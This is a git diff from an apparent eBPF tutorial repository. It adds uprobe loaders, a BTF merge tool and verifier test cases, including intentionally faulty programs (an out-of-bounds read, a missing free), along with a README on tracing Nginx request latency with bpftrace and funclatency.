+static volatile bool exiting = false; + +static void sig_handler(int sig) +{ + exiting = true; +} + +int main(int argc, char **argv) +{ + struct uprobe_bpf *skel; + int err; + LIBBPF_OPTS(bpf_object_open_opts , opts, + ); + LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts); + if (argc != 3 && argc != 2) { + fprintf(stderr, "Usage: %s []\n", argv[0]); + return 1; + } + if (argc == 3) + opts.btf_custom_path = argv[2]; + + /* Set up libbpf errors and debug info callback */ + libbpf_set_print(libbpf_print_fn); + + /* Cleaner handling of Ctrl-C */ + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + /* Load and verify BPF application */ + skel = uprobe_bpf__open_opts(&opts); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } + + /* Load & verify BPF programs */ + err = uprobe_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + + uprobe_opts.func_name = "add_test"; + skel->links.add_test = bpf_program__attach_uprobe_opts( + skel->progs.add_test, -1 /* self pid */, argv[1] /* binary path */, + 0 /* offset for function */, &uprobe_opts /* opts */); + if (!skel->links.add_test) { + err = -errno; + fprintf(stderr, "Failed to attach uprobe: %d\n", err); + goto cleanup; + } + printf("Successfully started! Press Ctrl+C to stop.\n"); + fflush(stdout); + while (!exiting) { + sleep(1); + } +cleanup: + /* Clean up */ + uprobe_bpf__destroy(skel); + + return err < 0 ? -err : 0; +} diff --git a/src/38-btf-uprobe/test-verify/verify-memory-access/uprobe_failed.bpf.c b/src/38-btf-uprobe/test-verify/verify-memory-access/uprobe_failed.bpf.c new file mode 100644 index 00000000..e08ce95f --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-memory-access/uprobe_failed.bpf.c @@ -0,0 +1,48 @@ +#define BPF_NO_GLOBAL_DATA +// #define BPF_NO_PRESERVE_ACCESS_INDEX +#include +#include +#include +#include + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record) +#endif + + +struct deep_memory_block { + int a; + char b[10]; +}; + +struct inner_memory_block { + int a; + char b[10]; + struct deep_memory_block *deep; +}; + +struct data { + int a; + int b; + int c; + int d; + // represent a pointer to a memory block + struct inner_memory_block *inner; +}; + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute pop +#endif + +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + int inner_deep_a = BPF_CORE_READ_USER(d, inner, deep, a); + bpf_printk("inner_deep_a = %d\n", inner_deep_a); + char* inner_deep_b = BPF_CORE_READ_USER(d, inner, deep, b); + // memory access out of bounds + bpf_printk("inner_deep_b[11] = %c\n", inner_deep_b[100]); + return 0; +} + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; diff --git a/src/38-btf-uprobe/test-verify/verify-memory-access/uprobe_failed.c b/src/38-btf-uprobe/test-verify/verify-memory-access/uprobe_failed.c new file mode 100644 index 00000000..424a6035 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-memory-access/uprobe_failed.c @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +/* Copyright (c) 2020 Facebook */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "uprobe_failed.skel.h" + +#define warn(...) fprintf(stderr, __VA_ARGS__) + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, + va_list args) +{ + return vfprintf(stderr, format, args); +} + +static volatile bool exiting = false; + +static void sig_handler(int sig) +{ + exiting = true; +} + +int main(int argc, char **argv) +{ + struct uprobe_failed_bpf *skel; + int err; + LIBBPF_OPTS(bpf_object_open_opts , opts, + ); + LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts); + if (argc != 3 && argc != 2) { + fprintf(stderr, "Usage: %s []\n", argv[0]); + return 1; + } + if (argc == 3) + opts.btf_custom_path = argv[2]; + + /* Set up libbpf errors and debug info callback */ + libbpf_set_print(libbpf_print_fn); + + /* Cleaner handling of Ctrl-C */ + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + /* Load and verify BPF application */ + skel = uprobe_failed_bpf__open_opts(&opts); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } + + /* Load & verify BPF programs */ + err = uprobe_failed_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + + uprobe_opts.func_name = "add_test"; + skel->links.add_test = bpf_program__attach_uprobe_opts( + skel->progs.add_test, -1 /* self pid */, argv[1] /* binary path */, + 0 /* offset for function */, &uprobe_opts /* opts */); + if (!skel->links.add_test) { + err = -errno; + fprintf(stderr, "Failed to attach uprobe: %d\n", err); + goto cleanup; + } + printf("Successfully started! Press Ctrl+C to stop.\n"); + fflush(stdout); + while (!exiting) { + sleep(1); + } +cleanup: + /* Clean up */ + uprobe_failed_bpf__destroy(skel); + + return err < 0 ? -err : 0; +} diff --git a/src/38-btf-uprobe/test-verify/verify-resource-allocation/Makefile b/src/38-btf-uprobe/test-verify/verify-resource-allocation/Makefile new file mode 100644 index 00000000..9fec032f --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-resource-allocation/Makefile @@ -0,0 +1,142 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../../third_party/libbpf/src) +BPFTOOL_SRC := $(abspath ../../../third_party/bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../../third_party/vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../../third_party/libbpf/include/ -I../../../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = uprobe uprobe_failed # minimal minimal_legacy kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) merge-btf + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +merge-btf: merge-btf.c + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) merge-btf.c $(LIBBPF_OBJ) $(INCLUDES) $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/src/38-btf-uprobe/test-verify/verify-resource-allocation/merge-btf.c b/src/38-btf-uprobe/test-verify/verify-resource-allocation/merge-btf.c new file mode 100644 index 00000000..5bb83ea9 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-resource-allocation/merge-btf.c @@ -0,0 +1,63 @@ +#include +#include +#include +#include +#include + +int main(int argc, char **argv) +{ + char *btf_base_path = argv[1]; + char *btf_src_path = argv[2]; + char *btf_dst_path = argv[3]; + struct btf *btf_src, *btf_base; + int err; + unsigned int size; + const void* btf_data; + FILE *fp; + + + if (argc != 4) + { + fprintf(stderr, "Usage: %s \n", argv[0]); + fprintf(stderr, "Used for merge btf info"); + return 1; + } + + btf_base = btf__parse(btf_base_path, NULL); + if (!btf_base) + { + fprintf(stderr, "Failed to parse BTF object '%s': %s\n", btf_base_path, strerror(errno)); + return 1; + } + + btf_src = btf__parse(btf_src_path, NULL); + if (!btf_src) + { + fprintf(stderr, "Failed to parse BTF object '%s': %s\n", btf_src_path, strerror(errno)); + return 1; + } + + err = btf__add_btf(btf_base, btf_src); + if (err < 0) + { + fprintf(stderr, "Failed to add BTF object '%s': %s\n", btf_src_path, strerror(errno)); + return 1; + } + + btf_data = btf__raw_data(btf_base, &size); + if (!btf_data) + { + fprintf(stderr, "Failed to get raw data of BTF object '%s': %s\n", btf_base_path, strerror(errno)); + return 1; + } + fp = fopen(btf_dst_path, "w"); + if (!fp) + { + fprintf(stderr, "Failed to open BTF object '%s': %s\n", btf_dst_path, strerror(errno)); + return 1; + } + fwrite(btf_data, size, 1, fp); + fclose(fp); + + return 0; +} \ No newline at end of file diff --git a/src/38-btf-uprobe/test-verify/verify-resource-allocation/ufunc.bpf.h b/src/38-btf-uprobe/test-verify/verify-resource-allocation/ufunc.bpf.h new file mode 100644 index 00000000..95046f13 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-resource-allocation/ufunc.bpf.h @@ -0,0 +1,98 @@ +/* SPDX-License-Identifier: MIT + * + * Copyright (c) 2022, eunomia-bpf org + * All rights reserved. + */ +#ifndef UFUNC_HELPER_H +#define UFUNC_HELPER_H + +typedef unsigned long long uint64_t; +typedef long long int64_t; +typedef int int32_t; +// global context not support +// uint64_t context; + +union arg_val { + uint64_t uint64; + int64_t int64; + int32_t int32; + double double_val; + void *ptr; +}; + +struct arg_list { + uint64_t args[6]; +}; + +#define UFUNC_HELPER_ID_DISPATCHER 1000 +#define UFUNC_HELPER_ID_FIND_ID 1001 + +static const uint64_t (*ufunc_call)(uint64_t id, uint64_t arg_list) = (void *) + UFUNC_HELPER_ID_DISPATCHER; +static const uint64_t (*ufunc_find_func_id)(const char *func_name) = (void *) + UFUNC_HELPER_ID_FIND_ID; + +// func: function id +#define UFUNC_CALL_0(func) \ + ({ \ + struct arg_list argn = { 0 }; \ + ufunc_call(func, (uint64_t) & argn); \ + }) + +// func: function id +#define UFUNC_CALL_1(func, arg1) \ + ({ \ + struct arg_list argn = { 0 }; \ + argn.args[0] = (uint64_t)arg1; \ + ufunc_call(func, (uint64_t) & argn); \ + }) + +// func: function id +#define UFUNC_CALL_2(func, arg1, arg2) \ + ({ \ + struct arg_list argn = { 0 }; \ + argn.args[0] = (uint64_t)arg1; \ + argn.args[1] = (uint64_t)arg2; \ + ufunc_call(func, (uint64_t) & argn); \ + }) + +// func: function id +#define UFUNC_CALL_3(func, arg1, arg2, arg3) \ + ({ \ + struct arg_list argn = { 0 }; \ + argn.args[0] = (uint64_t)arg1; \ + argn.args[1] = (uint64_t)arg2; \ + argn.args[2] = (uint64_t)arg3; \ + ufunc_call(func, (uint64_t) & argn); \ + }) + +// func: function name +#define UFUNC_CALL_NAME_0(func_name) \ + ({ \ + char funcname[] = func_name; \ + uint64_t func_id = ufunc_find_func_id(funcname); \ + UFUNC_CALL_0(func_id); \ + }) + +#define UFUNC_CALL_NAME_1(func_name, arg1) \ + ({ \ + char funcname[] = func_name; \ + uint64_t func_id = ufunc_find_func_id(funcname); \ + UFUNC_CALL_1(func_id, arg1); \ + }) + +#define UFUNC_CALL_NAME_2(func_name, arg1, arg2) \ + ({ \ + char funcname[] = func_name; \ + uint64_t func_id = ufunc_find_func_id(funcname); \ + UFUNC_CALL_2(func_id, arg1, arg2); \ + }) + +#define UFUNC_CALL_NAME_3(func_name, arg1, arg2, arg3) \ + ({ \ + char funcname[] = func_name; \ + uint64_t func_id = ufunc_find_func_id(funcname); \ + UFUNC_CALL_3(func_id, arg1, arg2, arg3); \ + }) + +#endif \ No newline at end of file diff --git a/src/38-btf-uprobe/test-verify/verify-resource-allocation/uprobe.bpf.c b/src/38-btf-uprobe/test-verify/verify-resource-allocation/uprobe.bpf.c new file mode 100644 index 00000000..ec7c500c --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-resource-allocation/uprobe.bpf.c @@ -0,0 +1,57 @@ +#define BPF_NO_GLOBAL_DATA +// #define BPF_NO_PRESERVE_ACCESS_INDEX +#include +#include +#include +#include + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record) +#endif + + +struct deep_memory_block { + int a; + char b[10]; +}; + +struct inner_memory_block { + int a; + char b[10]; + struct deep_memory_block *deep; +}; + +struct data { + int a; + int b; + int c; + int d; + // represent a pointer to a memory block + struct inner_memory_block *inner; +}; + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute pop +#endif + +#ifdef KERNEL_VERIFY_PROTO +extern struct data* my_alloc_data(void) __ksym; +extern void my_free_data(struct data *d) __ksym; +#else +#define my_alloc_data() ((struct data*)UFUNC_CALL_NAME_0("my_alloc_data")) +#define my_free_data(d) UFUNC_CALL_NAME_1("my_free_data", d) +#endif + +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + struct data *alloced = my_alloc_data(); + if (alloced == NULL) { + bpf_printk("Failed to allocate data\n"); + return 0; + } + my_free_data(alloced); + return 0; +} + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; diff --git a/src/38-btf-uprobe/test-verify/verify-resource-allocation/uprobe.c b/src/38-btf-uprobe/test-verify/verify-resource-allocation/uprobe.c new file mode 100644 index 00000000..a3a0d3d9 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-resource-allocation/uprobe.c @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +/* Copyright (c) 2020 Facebook */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "uprobe.skel.h" + +#define warn(...) fprintf(stderr, __VA_ARGS__) + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, + va_list args) +{ + return vfprintf(stderr, format, args); +} + +static volatile bool exiting = false; + +static void sig_handler(int sig) +{ + exiting = true; +} + +int main(int argc, char **argv) +{ + struct uprobe_bpf *skel; + int err; + LIBBPF_OPTS(bpf_object_open_opts , opts, + ); + LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts); + if (argc != 3 && argc != 2) { + fprintf(stderr, "Usage: %s []\n", argv[0]); + return 1; + } + if (argc == 3) + opts.btf_custom_path = argv[2]; + + /* Set up libbpf errors and debug info callback */ + libbpf_set_print(libbpf_print_fn); + + /* Cleaner handling of Ctrl-C */ + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + /* Load and verify BPF application */ + skel = uprobe_bpf__open_opts(&opts); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } + + /* Load & verify BPF programs */ + err = uprobe_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + + uprobe_opts.func_name = "add_test"; + skel->links.add_test = bpf_program__attach_uprobe_opts( + skel->progs.add_test, -1 /* self pid */, argv[1] /* binary path */, + 0 /* offset for function */, &uprobe_opts /* opts */); + if (!skel->links.add_test) { + err = -errno; + fprintf(stderr, "Failed to attach uprobe: %d\n", err); + goto cleanup; + } + printf("Successfully started! Press Ctrl+C to stop.\n"); + fflush(stdout); + while (!exiting) { + sleep(1); + } +cleanup: + /* Clean up */ + uprobe_bpf__destroy(skel); + + return err < 0 ? -err : 0; +} diff --git a/src/38-btf-uprobe/test-verify/verify-resource-allocation/uprobe_failed.bpf.c b/src/38-btf-uprobe/test-verify/verify-resource-allocation/uprobe_failed.bpf.c new file mode 100644 index 00000000..e400e6a5 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-resource-allocation/uprobe_failed.bpf.c @@ -0,0 +1,51 @@ +#define BPF_NO_GLOBAL_DATA +// #define BPF_NO_PRESERVE_ACCESS_INDEX +#include +#include +#include +#include + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record) +#endif + + +struct deep_memory_block { + int a; + char b[10]; +}; + +struct inner_memory_block { + int a; + char b[10]; + struct deep_memory_block *deep; +}; + +struct data { + int a; + int b; + int c; + int d; + // represent a pointer to a memory block + struct inner_memory_block *inner; +}; + +#ifndef BPF_NO_PRESERVE_ACCESS_INDEX +#pragma clang attribute pop +#endif + +extern struct data* my_alloc_data(void) __ksym; +extern void my_free_data(struct data *d) __ksym; + +SEC("uprobe/examples/btf-base:add_test") +int BPF_UPROBE(add_test, struct data *d) +{ + struct data *alloced = my_alloc_data(); + if (alloced == NULL) { + bpf_printk("Failed to allocate data\n"); + return 0; + } + return 0; +} + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; diff --git a/src/38-btf-uprobe/test-verify/verify-resource-allocation/uprobe_failed.c b/src/38-btf-uprobe/test-verify/verify-resource-allocation/uprobe_failed.c new file mode 100644 index 00000000..424a6035 --- /dev/null +++ b/src/38-btf-uprobe/test-verify/verify-resource-allocation/uprobe_failed.c @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +/* Copyright (c) 2020 Facebook */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "uprobe_failed.skel.h" + +#define warn(...) fprintf(stderr, __VA_ARGS__) + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, + va_list args) +{ + return vfprintf(stderr, format, args); +} + +static volatile bool exiting = false; + +static void sig_handler(int sig) +{ + exiting = true; +} + +int main(int argc, char **argv) +{ + struct uprobe_failed_bpf *skel; + int err; + LIBBPF_OPTS(bpf_object_open_opts , opts, + ); + LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts); + if (argc != 3 && argc != 2) { + fprintf(stderr, "Usage: %s []\n", argv[0]); + return 1; + } + if (argc == 3) + opts.btf_custom_path = argv[2]; + + /* Set up libbpf errors and debug info callback */ + libbpf_set_print(libbpf_print_fn); + + /* Cleaner handling of Ctrl-C */ + signal(SIGINT, sig_handler); + signal(SIGTERM, sig_handler); + + /* Load and verify BPF application */ + skel = uprobe_failed_bpf__open_opts(&opts); + if (!skel) { + fprintf(stderr, "Failed to open and load BPF skeleton\n"); + return 1; + } + + /* Load & verify BPF programs */ + err = uprobe_failed_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + + uprobe_opts.func_name = "add_test"; + skel->links.add_test = bpf_program__attach_uprobe_opts( + skel->progs.add_test, -1 /* self pid */, argv[1] /* binary path */, + 0 /* offset for function */, &uprobe_opts /* opts */); + if (!skel->links.add_test) { + err = -errno; + fprintf(stderr, "Failed to attach uprobe: %d\n", err); + goto cleanup; + } + printf("Successfully started! Press Ctrl+C to stop.\n"); + fflush(stdout); + while (!exiting) { + sleep(1); + } +cleanup: + /* Clean up */ + uprobe_failed_bpf__destroy(skel); + + return err < 0 ? -err : 0; +} diff --git a/src/39-nginx/.config b/src/39-nginx/.config new file mode 100644 index 00000000..d50f199a --- /dev/null +++ b/src/39-nginx/.config @@ -0,0 +1,2 @@ +level=Depth +type=Tracing diff --git a/src/39-nginx/README.md b/src/39-nginx/README.md new file mode 100644 index 00000000..dde0b945 --- /dev/null +++ b/src/39-nginx/README.md @@ -0,0 +1,147 @@ +# Using eBPF to Trace Nginx Requests + +Nginx is one of the most popular web servers and reverse proxies in the world, known for its high performance, stability, and low resource consumption. It is widely used for serving static content, load balancing, and acting as a reverse proxy for dynamic applications. To maintain its performance edge, it's crucial to monitor and optimize Nginx's operations, especially when handling a large number of requests. One powerful way to gain insights into Nginx's performance is by using eBPF (Extended Berkeley Packet Filter). + +eBPF is a revolutionary technology that allows developers to run custom programs in the Linux kernel. Originally designed for network packet filtering, eBPF has evolved into a versatile tool for tracing, monitoring, and profiling system behavior in both kernel and user space. By leveraging eBPF, you can trace Nginx's critical functions, measure latency, and identify bottlenecks without modifying the source code or restarting the service. + +> The complete source code: + +## Background: Nginx and eBPF + +### Nginx + +Nginx operates on an event-driven architecture, making it highly efficient and capable of handling thousands of simultaneous connections with minimal resources. This efficiency is achieved through various performance-critical functions involved in request processing, response generation, and event handling. Understanding how these functions behave under different loads is key to optimizing Nginx for your specific use case. + +### eBPF + +eBPF programs run in a secure, sandboxed environment within the Linux kernel. These programs can attach to various hooks, such as system calls, tracepoints, and even user-space functions via uprobes (user-level probes). This capability allows you to collect detailed performance data and enforce policies in real time, making eBPF an invaluable tool for system observability. + +One common use case of eBPF is tracing function execution to measure latency, which is particularly useful for understanding how long specific Nginx functions take to execute. This information can help in diagnosing performance issues, optimizing resource usage, and improving the overall efficiency of your Nginx deployment. + +### Uprobes + +Uprobes are a type of probe that can be used to trace functions in user-space applications, such as Nginx. They work by attaching to specific user-space function entry and exit points, allowing you to capture precise timing information. However, it’s important to note that using uprobes in the kernel mode eBPF runtime may cause some performance overhead. To mitigate this, you can consider using a user-mode eBPF runtime like [bpftime](https://github.com/eunomia-bpf/bpftime), which is based on LLVM JIT/AOT. This runtime can run eBPF programs in user space, offering compatibility with kernel mode eBPF while potentially reducing overhead. + +## Performance-Critical Functions in Nginx + +Here are some key Nginx functions that are performance-critical and can be monitored using eBPF: + +- **ngx_http_process_request**: Processes incoming HTTP requests. Monitoring this function helps track the start of request handling. +- **ngx_http_upstream_send_request**: Handles sending requests to upstream servers when Nginx is acting as a reverse proxy. +- **ngx_http_finalize_request**: Finalizes HTTP request processing, including sending the response. Tracing this can measure total request handling time. +- **ngx_event_process_posted**: Processes queued events as part of the Nginx event loop. +- **ngx_handle_read_event**: Handles read events from sockets, crucial for monitoring network I/O performance. +- **ngx_writev_chain**: Sends responses back to the client, typically used in conjunction with the write event loop. + +## Using bpftrace to Trace Nginx Functions + +To monitor these functions, we can use `bpftrace`, a high-level tracing language for eBPF. Below is a script that traces the execution time of several critical Nginx functions: + +```bt +#!/usr/sbin/bpftrace + +// Monitor the start of HTTP request processing +uprobe:/usr/sbin/nginx:ngx_http_process_request +{ + printf("HTTP request processing started (tid: %d)\n", tid); + @start[tid] = nsecs; +} + +// Monitor when an HTTP request is finalized +uretprobe:/usr/sbin/nginx:ngx_http_finalize_request +/@start[tid]/ +{ + $elapsed = nsecs - @start[tid]; + printf("HTTP request processed in %d ns (tid: %d)\n", $elapsed, tid); + delete(@start[tid]); +} + +// Monitor the start of sending a request to an upstream server +uprobe:/usr/sbin/nginx:ngx_http_upstream_send_request +{ + printf("Upstream request sending started (tid: %d)\n", tid); + @upstream_start[tid] = nsecs; +} + +// Monitor when the upstream request is sent +uretprobe:/usr/sbin/nginx:ngx_http_upstream_send_request +/@upstream_start[tid]/ +{ + $elapsed = nsecs - @upstream_start[tid]; + printf("Upstream request sent in %d ns (tid: %d)\n", $elapsed, tid); + delete(@upstream_start[tid]); +} + +// Monitor the start of event processing +uprobe:/usr/sbin/nginx:ngx_event_process_posted +{ + printf("Event processing started (tid: %d)\n", tid); + @event_start[tid] = nsecs; +} + +// Monitor when event processing is completed +uretprobe:/usr/sbin/nginx:ngx_event_process_posted +/@event_start[tid]/ +{ + $elapsed = nsecs - @event_start[tid]; + printf("Event processed in %d ns (tid: %d)\n", $elapsed, tid); + delete(@event_start[tid]); +} +``` + +### Running the Program + +To run the above script, start Nginx and use a tool like `curl` to generate HTTP requests: + +```bt +# bpftrace /home/yunwei37/bpf-developer-tutorial/src/39-nginx/trace.bt +Attaching 4 probes... +Event processing started (tid: 1071) +Event processed in 166396 ns (tid: 1071) +Event processing started (tid: 1071) +Event processed in 87998 ns (tid: 1071) +HTTP request processing started (tid: 1071) +HTTP request processed in 1083969 ns (tid: 1071) +Event processing started (tid: 1071) +Event processed in 92597 ns (tid: 1071) +``` + +The script monitors the start and end times of various Nginx functions and prints the elapsed time for each. This data can be used to analyze and optimize the performance of your Nginx server. + +## Testing Function Latency in Nginx + +For a more detailed analysis of function latency, you can use the `funclatency` tool, which measures the latency distribution of Nginx functions. Here’s how to test the latency of the `ngx_http_process_request` function: + +```console +# sudo ./funclatency /usr/sbin/nginx:ngx_http_process_request +tracing /usr/sbin/nginx:ngx_http_process_request... +tracing func ngx_http_process_request in /usr/sbin/nginx... +Tracing /usr/sbin/nginx:ngx_http_process_request. Hit Ctrl-C to exit +^C + nsec : count distribution + 0 -> 1 : 0 | | + 524288 -> 1048575 : 16546 |****************************************| + 1048576 -> 2097151 : 2296 |***** | + 2097152 -> 4194303 : 1264 |*** | + 4194304 -> 8388607 : 293 | | + 8388608 -> 16777215 : 37 | | +Exiting trace of /usr/sbin/nginx:ngx_http_process_request +``` + +### Summary of Results + +The results above show the distribution of latency for the `ngx_http_process_request` function. The majority of requests were processed within 524,288 to 1,048,575 nanoseconds, with a smaller percentage taking longer. This information can be crucial in identifying performance bottlenecks and optimizing request handling in Nginx. + +By using `funclatency`, you can: + +- **Identify Performance Bottlenecks**: Understand which functions are taking the most time to execute and focus your optimization efforts there. +- **Monitor System Performance**: Regularly monitor function latency to ensure your Nginx server is performing optimally, especially under heavy load. +- **Optimize Nginx Configuration**: Use the insights gained from latency measurements to tweak Nginx settings or modify your application to improve overall performance. + +You can find the `funclatency` tool in the [bpf-developer-tutorial repository](https://github.com/eunomia-bpf/bpf-developer-tutorial/blob/main/src/33-funclatency). + +## Conclusion + +Tracing Nginx requests with eBPF provides valuable insights into the performance of your web server, allowing you to monitor, analyze, and optimize its operation. By using tools like `bpftrace` and `funclatency`, you can measure function execution times, identify bottlenecks, and make data-driven decisions to improve your Nginx deployment. + +For those interested in learning more about eBPF, including more advanced examples and tutorials, please visit our [https://github.com/eunomia-bpf/bpf-developer-tutorial](https://github.com/eunomia-bpf/bpf-developer-tutorial) or check out our 